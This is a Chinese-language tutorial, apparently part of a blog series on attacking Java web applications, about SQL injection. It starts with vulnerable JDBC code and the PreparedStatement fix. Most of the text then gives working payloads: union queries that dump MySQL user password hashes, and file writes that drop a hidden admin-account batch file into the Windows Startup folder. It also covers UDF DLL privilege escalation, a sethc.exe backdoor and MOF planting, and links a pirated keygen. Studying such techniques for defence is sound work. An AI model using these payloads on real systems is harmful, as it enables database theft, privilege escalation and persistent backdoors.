攻擊JavaWeb應用——3、sql注入(上)
0x01 經典的JDBC的Sql注入
Sql注入產生的直接原因是拼湊SQL,絕大多數程式設計師在做開發的時候並不會去關注SQL最終是怎麼去執行的,更不會去關注SQL執行的安全性。因為時間緊,任務重完成業務需求就行了,誰還有時間去管你什麼SQL隱碼攻擊什麼?還不如喝喝茶,看看妹子。正是有了這種懶惰的程式設計師SQL隱碼攻擊一直沒有消失,而這當中不乏一些大型廠商。有的人可能心中有防禦Sql注入意識,但是在面對複雜業務的時候可能還是存在僥倖心理,最近還是被神奇路人甲給脫褲了。為了處理未知的SQL隱碼攻擊,一些大廠商開始採用SQL防注入甚至是使用某些廠商的WAF。
JDBCSqlInjectionTest.java類:
package org.javaweb.test;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class JDBCSqlInjectionTest {
/**
* sql注入測試
* @param id
*/
public static void sqlInjectionTest(String id){
String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驅動
//Mysql連線字串
String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
String sql = "SELECT * from corps where id = "+id;//查詢語句
try {
Class.forName(MYSQLDRIVER);//載入MYSQL驅動
Connection conn = DriverManager.getConnection(MYSQLURL);//獲取資料庫連線
PreparedStatement pstt = conn.prepareStatement(sql);
ResultSet rs = pstt.executeQuery();
System.out.println("SQL:"+sql);//列印SQL
while(rs.next()){//結果遍歷
System.out.println("ID:"+rs.getObject("id"));//ID
System.out.println("廠商:"+rs.getObject("corps_name"));//輸出廠商名稱
System.out.println("主站"+rs.getObject("corps_url"));//廠商URL
}
rs.close();//關閉查詢結果集
pstt.close();//關閉PreparedStatement
conn.close();//關閉資料連線
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查詢id為2的廠商
}
}
現在有以下Mysql資料庫結構(後面用到的資料庫結構都是一樣)
看下圖程式碼是一個取資料和顯示資料的過程。
第20行就是典型的拼SQL導致SQL隱碼攻擊,現在我們的注入將圍繞著20行展開:
2 and 1=1
去查詢時,由於1=1為true所以能夠正常的返回查詢結果:當傳入引數2 and 1=2
時查詢結果是不存在的,所以沒有顯示任何結果。
Tips:在某些場景下可能需要在引數末尾加註釋符--,使用“--”的作用在於註釋掉從當前程式碼末尾到SQL末尾的語句。
--在oracle和mssql都可用,mysql可以用#
/**
。
執行order by 4正常顯示資料order by 5錯誤說明查詢的欄位數是4
Order by 5執行後直接爆了一個SQL異常:
用聯合查詢執行:2 and 1=2 union select version(),user(),database(),5
小結論:
通過控制檯執行SQL隱碼攻擊可知SQL隱碼攻擊跟平臺無關、跟開發語言關係也不大,而是跟資料庫有關。 知道了拼SQL肯定是會造成SQL隱碼攻擊的,那麼我們應該怎樣去修復上面的程式碼去防止SQL隱碼攻擊呢?其實只要把引數經過預編譯就能夠有效的防止SQL隱碼攻擊了,我們已經依舊提交SQL隱碼攻擊語句會發現之前能夠成功注入出資料庫版本、使用者名稱、資料庫名的語句現在無法帶入資料庫查詢了:
0x02 PreparedStatement實現防注入
SQL語句被預編譯並儲存在PreparedStatement物件中。然後可以使用此物件多次高效地執行該語句。
Class.forName(MYSQLDRIVER);//載入MYSQL驅動
Connection conn = DriverManager.getConnection(MYSQLURL);//獲取資料庫連線
String sql = "SELECT * from corps where id = ? ";//查詢語句
PreparedStatement pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement物件
pstt.setObject(1, id);//使用預編譯SQL
ResultSet rs = pstt.executeQuery();
從Class.forName反射去載入MYSQL啟動開始,到通過DriverManager去獲取一個本地的連線資料庫的物件。而拿到一個資料連線以後便是我們執行SQL與事物處理的過程。當我們去呼叫PreparedStatement的方法如:executeQuery或executeUpdate等都會通過mysql的JDBC實現對Mysql資料庫做對應的操作。Java裡面連線資料庫的方式一般來說都是固定的格式,不同的只是實現方式。所以只要我們的專案中有載入對應資料庫的jar包我們就能做相應的資料庫連線。而在一個Web專案中如果/WEB-INF/lib下和對應容器的lib下只有mysql的資料庫連線驅動包,那麼就只能連線MYSQL了,這一點跟其他語言有點不一樣,不過應該容易理解和接受,假如php.ini不開啟對mysql、mssql、oracle等資料庫的支援效果都一樣。修復之前的SQL隱碼攻擊的方式顯而易見了,用“?”號去佔位,預編譯SQL的時候會自動根據pstt裡的引數去處理,從而避免SQL隱碼攻擊。
String sql = "SELECT * from corps where id = ? ";
pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement物件
pstt.setObject(1, id);//使用預編譯SQL
ResultSet rs = pstt.executeQuery();
在通過conn.prepareStatement去獲取一個PreparedStatement便會以預編譯去處理查詢SQL,而使用conn.createStatement得到的只是一個普通的Statement不會去預編譯SQL語句,但Statement執行效率和速度都比prepareStatement要快前者是後者的父類。
從類載入到連線的關閉資料庫廠商根據自己的資料庫的特性實現了JDBC的介面。類載入完成之後才能夠繼續呼叫其他的方法去獲取一個連線物件,然後才能過去執行SQL命令、返回查詢結果集(ResultSet)。
Mysql的Driver:
public class Driver extends NonRegisteringDriver implements java.sql.Driver{}
在載入驅動處下斷點(22行),可以跟蹤到mysql的驅動連線資料庫到獲取連線的整個過程。F5進入到Driver類:
驅動載入完成後我們會得到一個具體的連線的物件Connection,而這個Connection包含了大量的資訊,我們的一切對資料庫的操作都是依賴於這個Connection的:
conn.prepareStatement(sql);
在獲取PreparedStatement物件的時進入會進入到Connection類的具體的實現類ConnectionImpl類。
然後呼叫其prepareStatement方法。 
而nativeSQL方法呼叫了EscapeProcessor類的靜態方法escapeSQL進行轉意,返回的自然是轉意後的SQL。
預編譯預設是在客戶端的用com.mysql.jdbc.PreparedStatement
本地SQL拼完SQL,最終mysql資料庫收到的SQL是已經替換了“?”後的SQL,執行並返回我們查詢的結果集。 從上而下大概明白了預編譯做了個什麼事情,並不是用了PreparedStatement這個物件就不存在SQL隱碼攻擊而是跟你在預編譯前有沒有拼湊SQL語句,
String sql = “select * from xxx where id = ”+id//這種必死無疑。
Web中繞過SQL防注入:
Java中的JSP裡邊有個特性直接request.getParameter("Parameter");
去獲取請求的資料是不分GET和POST的,而看過我第一期的同學應該還記得我們的Servlet一般都是兩者合一的方式去處理的,而在SpringMVC裡面如果不指定傳入引數的方式預設是get和post都可以接受到。
SpringMvc如:
@RequestMapping(value="/index.aspx",method=RequestMethod.GET)
public String index(HttpServletRequest request,HttpServletResponse response){
System.out.println("------------");
return "index";
}
上面預設只接收GET請求,而大多數時候是很少有人去制定請求的方式的。說這麼多其實就是為了告訴大家我們可以通過POST方式去繞過普通的SQL防注入檢測!
Web當中最容易出現SQL隱碼攻擊的地方:
常見的文章顯示、分類展示。
使用者註冊、使用者登入處。
關鍵字搜尋、檔案下載處。
資料統計處(訂單查詢、上傳下載統計等)經典的如select下拉框注入。
邏輯略複雜處(密碼找回以及跟安全相關的)。
關於注入頁面報錯:
如果發現頁面丟擲異常,那麼得從兩個方面去看問題,傳統的SQL隱碼攻擊在頁面報錯以後肯定沒法直接從頁面獲取到資料資訊。如果報錯後SQL沒有往下執行那麼不管你提交什麼SQL隱碼攻擊語句都是無效的,如果只是普通的錯誤可以根據錯誤資訊進行引數修改之類繼續SQL隱碼攻擊。 假設我們的id改為int型別:
int id = Integer.parseInt(request.getParameter("id")); 
程式在接受引數後把一個字串轉換成int(整型)的時候發生異常,那麼後面的程式碼是不會接著執行的哦,所以SQL隱碼攻擊也會失敗。
Spring中如何安全的拼SQL(JDBC同理):
對於常見的SQL隱碼攻擊採用預編譯就行了,但是很多時候條件較多或較為複雜的時候很多人都想偷懶拼SQL。
寫了個這樣的多條件查詢條件自動匹配:
public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 ";
public List<Map<String, Object>> getForumClass(Map<String,Object> forum) {
StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING);
List<Object> ls=new ArrayList<Object>();
if (forum.size()>0) {
for (String key : forum.keySet()) {
Object obj[]=(Object [])forum.get(key);
sql = SqlHelper.selectHelper(sql, obj);
if ("like".equalsIgnoreCase(obj[2].toString().trim())) {
ls.add("%"+obj[1]+"%");
}else{
ls.add(obj[1]);
}
}
}
return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray());
}
selectHelper方法:public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){
if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) {
sql.append(" AND "+obj[0]+" like ?");
}else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) {
sql.append(" AND "+obj[0]+" = ?");
}else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) {
sql.append(" AND "+obj[0]+" > ?");
}else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) {
sql.append(" AND "+obj[0]+" < ?");
}else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) {
sql.append(" AND "+obj[0]+" != ?");
}
return sql;
}
信任客戶端的引數一切引數只匹配查詢條件,把引數和條件自動裝配到框架。
如果客戶端提交了危險的SQL也沒有關係在query的時候是會預編譯。
不貼了原文在:http://zone.wooyun.org/content/2448
0x03 轉戰Web平臺
看完了SQL隱碼攻擊在控制檯下的表現,如果對上面還不甚清楚的同學繼續看下面的Web注入。
首先我們瞭解下Web當中的SQL隱碼攻擊產生的原因:
Mysql篇: 資料庫結構上面已經宣告,現在有以下Jsp頁面,邏輯跟上面注入一致:
瀏覽器訪問:http://localhost/SqlInjection/index.jsp?id=1
上面我們已經知道了查詢的欄位數是4,現在構建聯合查詢,其中的1,2,3只是我們用來佔位檢視欄位在頁面對應的具體的輸出。在HackBar執行我們的SQL隱碼攻擊,檢視效果和執行情況:
Mysql查詢和注入技巧:
只要是從事滲透測試工作的同學或者對Web比較喜愛的同學強薦大家學習下SQL語句和Web開發基礎,SQL管理客戶端有一個神器叫Navicat。支援MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。
官方下載地址:http://www.navicat.com/download不過需要註冊,
|序號產生器:http://pan.baidu.com/share/link?shareid=271653&uk=1076602916 其次是下載吧有全套的下載。
似乎很多人都知道Mysql有個資料庫叫information_schema裡面儲存了很多跟Mysql有關的資訊,但是不知道里面具體都有些什麼,有時間大家可以抽空看下。Mysql的sechema都存在於此,包含了欄位、表、後設資料等各種資訊。也就是對於Mysql來說建立一張表後對應的表資訊會儲存到information_schema裡面,而且可以用SQL語句查詢。
使用Navicat構建SQL查詢語句:
當我們在SQL隱碼攻擊當中找到使用者或管理員所在的表是非常重要的,而當我們想要快速找到跟使用者相關的資料庫表時候在Mysql裡面就可以合理的使用information_schema去查詢。構建SQL查詢獲取所有當前資料庫當中資料庫表名裡面帶有user關鍵字的演示:
查詢包含user關鍵字的表名的結果:
假設已知某個網站使用者資料非常大,我們可以通過上面構建的SQL去找到對應可能存在使用者資料資訊的表。
查詢Mysql所有資料庫中所有表名帶有user關鍵字的表,並且按照表的行數降序排列:
SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
ORDER BY i.TABLE_ROWS
DESC
查只在當前資料庫查詢:
SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
AND i.TABLE_SCHEMA = database()
ORDER BY i.TABLE_ROWS
DESC
查詢指定資料庫:
查詢欄位當中帶有user關鍵字的所有的表名和資料庫名:
SELECT
i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME
FROM information_schema.`COLUMNS` AS i
WHERE i.COLUMN_NAME LIKE '%user%' 
CONCAT:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1
GROUP_CONCAT
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1
注入點友情備份:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
注入在windows下預設是E:\如果用“\”去表示路徑的話需要轉換成E:\\
而更方便的方式是直接用/去表示即E:/。 當我們知道WEB路徑的情況下而又有outfile許可權直接匯出資料庫中的使用者資訊。
而如果是在一些極端的情況下無法直接outfile我們可以合理的利用concat和GROUP_CONCAT去把資料顯示到頁面,如果資料量特別大,我們可以用concat加上limit去控制顯示的數量。比如每次從頁面獲取幾百條資料?寫一個工具去請求構建好的SQL隱碼攻擊點然後把頁面的資料取下來,那麼資料庫的表資訊也可以直接從注入點全部取出來。
注入點root許可權提權:
1、寫啟動項:
這個算是非常簡單的了,直接寫到windows的啟動目錄就行了,我測試的系統是windows7直接寫到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目錄就行了。用HackBar去請求一下連結就能過把bat寫入到我們的windows的啟動選單了,不過得注意的是360那個狗兔崽子:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'
2、失敗的注入點UDF提權嘗試:
MYSQL提權的方式挺多的,並不侷限於udf、mof、寫windows啟動目錄、SQL語句替換sethc實現後門等,這裡以udf為例,其實udf挺麻煩的,如果麻煩的東東你都能搞定,簡單的自然就能過搞定了 。在進行mysql的udf提權的時候需要注意的是mysql的版本,mysql5.1以下匯入到windows目錄就行了,而mysql>=5.1需要匯入到外掛目錄。我測試的是Mysql 5.5.27我們的首要任務就是找到mysql外掛路徑。
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir
獲取外掛目錄方式:select @@plugin_dir
select @@basedir
show variables like ‘%plugins%’
通過MYSQL預留的變數很輕易的就找到了mysql所在目錄,那我們需要把udf匯出的絕對路徑就應該是:D:/install/dev/mysql5.5/lib/plugin/udf.dll
。現在我們要做的就是怎樣通過SQL隱碼攻擊去把這udf匯出到上述目錄了。 我先說下我是怎麼從錯誤的方法到正確匯入的一個過程吧。首先我執行了這麼一個SQL:
SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf的十六進位制 ,CHAR)) INTO DUMPFILE 'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
因為在命令列或執行單條語句的時候轉換成char去dumpfile的時候是可以成功匯出二進位制檔案的。 我們用瀏覽器瀏覽網頁的時候都是以GET方式去提交的,而如果我用GET請求去傳這個十六進位制的udf的話顯然會超過GET請求的限制,於是我簡單的構建了一個POST請求去把一個110K的0x傳到後端。
用hackbar去傳送一個post請求發現失敗了,一定是我開啟方式不對,呵呵。隨手寫了個表單提交下:
下載地址: http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916
提交表單以後發現檔案是寫進去了,但是為什麼就只有84位元組捏?

難道是資料傳輸的時候被截斷了?不至於吧,於是用navicat執行上面的語句:

我似乎傻逼了,因為查詢結果還是隻有84位元組,結果顯然不是我想要的。84位元組,不帶這麼坑的。一計不成又生二計。 不讓我直接dumpfile那我間接的去寫總行吧? 
1 and 1=2 union select '','','',0xUDF轉換後的16進位制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'發現格式不對,給hex加上單引號以字串方式寫入試下: 1 and 1=2 union select '','','',’0xUDF轉換後的16進位制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'
這次寫入的起碼是hex了吧,再load_file到查詢裡面不就行了嗎?我們知道load_file得到的肯定是一個blob吧。 
那麼在注入點這麼去構建一下不就行了: 
其實這都已經2到家了,這跟第一次提交的資料根本就沒有兩樣。Load file在這裡依舊被轉換成了0x,我想這不行的話那麼應該就只能在blob欄位去load_file才能成功吧,因為現在load到了一個欄位型別是text的位置裡面。估計是被當字串處理了,但是很顯然是沒法去找個blob的欄位的,(用上面去information_schema去找應該能找到)。也就是說現在需要的是一個blob去臨時的儲存一下。又因為我們知道MYSQL是不支援多行查詢的,所以我們根本就沒有辦法去建表(想過copy查詢建表,但是顯然是行不通的)。 這不科學,一定是開啟方式不對。CAST 和CONVERT 轉換成CHAR都不行。能轉換成blob之類的嗎?CONVERT(0xsbsbsb,BLOB)發現失敗了,把BLOB換成 BINARY發現成功執行了。 於是用構建的表單再次執行下面的語句: SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x不解釋,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
這次執行成功了,哦多麼痛的領悟……一開始把CHAR寫成BINARY不就搞定了,二的太明顯了。其實上面的二根本就不是事兒,更二的是當我要執行的時候恍然發現根本就沒有辦法去建立function啊! O shit shift~ Mysql Driver在pstt.executeQuery()是不支援多行查詢的,一個select 在怎麼也不能跟create同時執行。為了不影響大家心情還是繼續寫下去吧,命令列建立一個function,然後在注入點注入(如果有前人已經建立udf的情況下可以直接利用): 
因為沒有辦法去建立一個function所以用注入點實現udf提權在上一步就死了,通過在命令列執行建立function只能算是心靈安慰了,只要完成了create function那一步我們就真的成功了,因為呼叫自定義function非常簡單:
MOF和sethc提權:
MOF和sethc提權我就不詳講了,因為看了上面的udf提權你已經具備自己匯入任意檔案到任意目錄了,而MOF實際上就是寫一個檔案到指定目錄,而sethc提權我只成功模糊的過一次。在命令列下利用SQL大概是這樣的:
create table mix_cmd( shift longblob);
insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
drop table if exists mix_cmd;
現在的管理員很多都會自作聰明的去把net.exe、net1.exe 、cmd.exe、sethc.exe刪除防止入侵。當sethc不存在時我們可以用這個方法去試下,怎麼確定是否存在?load_file下看人品了,如果cmd和sethc都不存在那麼按照上面的udf提權三部曲上傳一個cmd.exe到任意目錄。
SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'
MOF大約是這樣:http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii轉換後的程式碼),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof'
Mysql小結:
我想講的應該是一種方法而不是SQL怎麼去寫,學會了方法自然就會自己去擴充,當然了最好不要向上面udf那麼二。有了上面的demo相信大家都會知道怎麼去修改滿足自己的需求了。學的不只是方法而是思路切記!
相關文章
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]JavaWebSQL
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]JavaWebSQL
- 攻擊JavaWeb應用————7、Server篇(上)JavaWebServer
- sql注入攻擊SQL
- SQL 注入攻擊SQL
- 攻擊JavaWeb應用[5]-MVC安全JavaWebMVC
- 攻擊JavaWeb應用————5、MVC安全JavaWebMVC
- 攻擊JavaWeb應用[9]-Server篇[2]JavaWebServer
- 攻擊JavaWeb應用[1]-JavaEE 基礎JavaWeb
- 攻擊JavaWeb應用[8]-後門篇JavaWeb
- 攻擊JavaWeb應用[7]-Server篇[1]JavaWebServer
- 攻擊JavaWeb應用————1、JavaEE基礎JavaWeb
- 攻擊JavaWeb應用————8、Server篇(下)JavaWebServer
- 攻擊JavaWeb應用————9、後門篇JavaWeb
- SQL 的注入式攻擊SQL
- 攻擊JavaWeb應用[2]-CS互動安全JavaWeb
- 攻擊JavaWeb應用————2、CS互動安全JavaWeb
- SQL隱碼攻擊-堆疊注入SQL
- 報告稱超 6 成 Web 應用程式攻擊來自 SQL 注入WebSQL
- Mongodb注入攻擊MongoDB
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 攻擊JavaWeb應用[6]-程式架構與程式碼審計JavaWeb架構
- 攻擊JavaWeb應用————6、程式架構與程式碼審計JavaWeb架構
- php安全程式設計—sql注入攻擊PHP程式設計SQL
- sql注入定義、原理、攻擊和防護SQL
- React 防注入攻擊 XSS攻擊 (放心大膽的用吧)React
- Akamai:65.1%的Web應用程式攻擊來自SQL隱碼攻擊AIWebSQL
- SQL隱碼攻擊原理——萬能密碼注入SQL密碼
- SQL隱碼攻擊--sqlmap自動化注入工具SQL
- SQL隱碼攻擊 - 手工注入sqli-labsSQL
- ASP上兩個防止SQL隱碼攻擊式攻擊FunctionSQLFunction
- 哪個報表工具能抵擋 SQL 注入攻擊SQL
- SQL隱碼攻擊之常見注入的步驟④SQL
- SQL隱碼攻擊之字元型和數字型注入SQL字元
- 報告稱超6成Web應用程式攻擊來自SQL隱碼攻擊WebSQL
- SQL隱碼攻擊速查表(上)SQL
- 詳解Web應用安全系列(2)注入漏洞之XSS攻擊Web
- 滲透測試網站sql注入攻擊與防護網站SQL